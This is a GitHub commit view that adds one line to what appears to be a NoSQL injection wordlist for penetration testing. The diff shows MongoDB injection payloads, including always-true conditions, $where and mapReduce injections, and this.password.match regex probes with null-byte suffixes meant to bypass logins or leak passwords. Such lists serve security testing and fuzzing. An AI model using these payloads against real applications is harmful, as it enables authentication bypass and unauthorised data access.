Merge pull request #502 from danrneal/patch-1

Add string js or injection
This commit is contained in:
g0tmi1k 2020-09-16 07:22:43 +01:00 committed by GitHub
commit 411cae8e5b
No known key found for this signature in database
GPG key ID: 4AEE18F83AFDEB23

View file

@ -9,6 +9,7 @@ $where: '1 == 1'
db.injection.insert({success:1});
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
|| 1==1
' || 'a'=='a
' && this.password.match(/.*/)//+%00
' && this.passwordzz.match(/.*/)//+%00
'%20%26%26%20this.password.match(/.*/)//+%00